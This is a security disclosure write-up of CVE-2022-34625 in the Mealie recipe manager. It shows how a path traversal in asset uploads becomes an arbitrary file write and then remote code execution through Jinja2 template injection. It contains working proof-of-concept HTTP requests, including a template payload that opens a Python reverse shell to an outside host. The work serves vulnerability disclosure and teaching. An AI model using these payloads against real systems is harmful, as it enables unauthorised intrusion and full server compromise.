5 minutes
CVE-2022-34625: Arbitrary File Write to RCE
A little bit about ourselves.
Bruno Hernandez, Cybersecurity Consultant at nVisium | Github | LinkedIn | huntr.dev report
Jon Gaines, Senior Cybersecurity Consultant at nVisium | Gainsec.com | GainSec Twitter | GainSec: CVE-2022-34625 post
Target
Mealie is a self hosted recipe manager and meal planner with a RestAPI backend and a reactive frontend application built in Vue for a pleasant user experience for the whole family. Easily add recipes into your database by providing the url and Mealie will automatically import the relevant data or add a family recipe with the UI editor. Mealie also provides an API for interactions from 3rd party applications.
After target selection, I and gainsec, another cybersecurity consultant, began our auditing process. Due to our training and experience at nVisium as experienced security consultants, we were able to perform an efficient and effective secure code review and dynamic assessment directly leading to us finding an authenticated RCE chain.
Path Traversal to Arbitrary File Write
The mealie application allows you to create recipes to share with others. A component of those recipes are “Assets”. These typically would be pictures, PDFs, Recipes exported, etc.
As web application pentesters, file uploads always pique our interest. So we began looking at the source code.
Secure Code Review Reveals Path Traversal
Looking at the source code at https://github.com/hay-kot/mealie/blob/v1.0.0beta-3/mealie/routes/recipe/recipe_crud_routes.py , the vulnerability became apparent. The developer was calling slugify()
,which worked as a form of sanitization, on the name
POST
parameter but not on extension
POST
parameter. This means that tainted user input is being used as part of the file path (line 306) that the application ultimately writes the file to (line 313).
But what about the filename? You might ask. Those experienced with path traversal attacks will know that you cannot relative path your way out of a file that does not exist.
For example:
touch /tmp/doesnotexist/../pwn.txt
will not work because Linux will travel to /tmp/
then /tmp/doesnotexist
before “going up” a directory and ultimately getting to pwn.txt
. Since /tmp/doesnotexist
does not exist, an error will occur and the file write will not execute. This is a problem since the application is still taking the filename and concatenating it with the extension after calling slugify()
on the file name (recipe_crud_routes.py:306
).
Fuzz my slug
Theoretically if we could find a character that slugify()
would convert into a dot, or that slugify()
removed completely then our attack path would still work. After some fuzzing, we discovered that the $
symbol gets removed completely. That means that we can pass name=$&extension=./../../../../tmp/pwn.txt
and our new recipe asset would turn into an arbitrary file write on the server. The extension
value beginning with one dot instead of two is important for the attack to work since in recipe_crud_routes.py:306
the application is already adding a slash.
Arbitrary File Write
Proof of Concept:
POST /api/recipes/myrecipe/assets HTTP/1.1
Host: localhost:9091
Content-Length: 519
...
...
------WebKitFormBoundaryGUm7XAqXQKSpXihG
Content-Disposition: form-data; name="file"; filename="evil.txt"
Content-Type: text/plain
oh noez, you've been had!
------WebKitFormBoundaryGUm7XAqXQKSpXihG
Content-Disposition: form-data; name="name"
$
------WebKitFormBoundaryGUm7XAqXQKSpXihG
Content-Disposition: form-data; name="extension"
./../../../../../tmp/pwn
------WebKitFormBoundaryGUm7XAqXQKSpXihG
Content-Disposition: form-data; name="icon"
mdi-file
------WebKitFormBoundaryGUm7XAqXQKSpXihG--
Now what?
As attackers, now that we have a strong attack primitive (Arbitrary File Write), we can start getting creative to get RCE. Since the files were being created by root in the Docker container, we could replace /etc/passwd
, create a crontab, etc. but since there was templating functionality in the application that piqued our interest. Also, we wanted to have a self-contained RCE (RCE is always the goal >:) ) and not have any external dependencies for our exploit to work.
BYOT: Bring Your Own Template
We identified templating functionality as part of the recipes features in the application. The idea is that when you export a recipe, the recipe values get templated using Jinja2 templates to produce an HTML artifact. Since the templates were only accessible via local server access it is not far-fetched to think that this functionality is safe. But since we had an arbitrary file write, we could write our own template to the server.
If you know anything about Jinja2 templates, you know that they will execute server side code when rendered. This functionality in templating engines have led to a whole vulnerability class called Server-Side Template Injection (SSTI).
The last two steps were figuring out where to write the file to, and what functionality to hit that triggers the render.
Where to write to? This was easy enough since there was an appropriately named templates
directory in the web root directory.
Lastly, how to trigger the render? The mealie developers do an excellent job at providing documentation in general. After reading through their API docs we found the exact endpoint to call.
Now putting it all togethor.
Creating a malicious template (context-free reverse shell) Proof of Concept:
POST /api/recipes/myrecipe/assets HTTP/1.1
...
Connection: close
------WebKitFormBoundaryGUm7XAqXQKSpXihG
Content-Disposition: form-data; name="file"; filename="evil.txt"
Content-Type: text/plain
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('python3 -c \'import os,pty,socket;s=socket.socket();s.connect(("172.17.0.1",53));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")\'').read() }}
------WebKitFormBoundaryGUm7XAqXQKSpXihG
Content-Disposition: form-data; name="name"
$
------WebKitFormBoundaryGUm7XAqXQKSpXihG
Content-Disposition: form-data; name="extension"
./../../../../../../../app/data/templates/pwn.html
------WebKitFormBoundaryGUm7XAqXQKSpXihG
Content-Disposition: form-data; name="icon"
mdi-file
------WebKitFormBoundaryGUm7XAqXQKSpXihG--
Triggering the render and getting a reverse shell:
- Authenticate and authorize the OpenAPI spec at
/docs/
. - Go to the
GET /api/recipes/{slug}/exports
endpoint. - Put the slug (recipe name) as the slug value.
- Put the template name (pwn.html) as the template_name.
- Click Execute and get a reverse shell!
Lessons Learned
Path traversal:
- Tainted user input was being used as part of the file path where a file write was occurring. This is what ultimately led to the complete compromise of the mealie application and the underlying system. From a security perspective, it is unadvisable to mix user-controlled input with file paths that are going to be used in file writes. If you have to, ensure that the input is being sanitized, filtered, and/or validated.
Special Thanks
A special thanks to Hayden hay-kot the software engineer leading this open source project. We hope to maintain a working relationship with hay-kot and the open source community as we make our contributions from the offensive security perspective.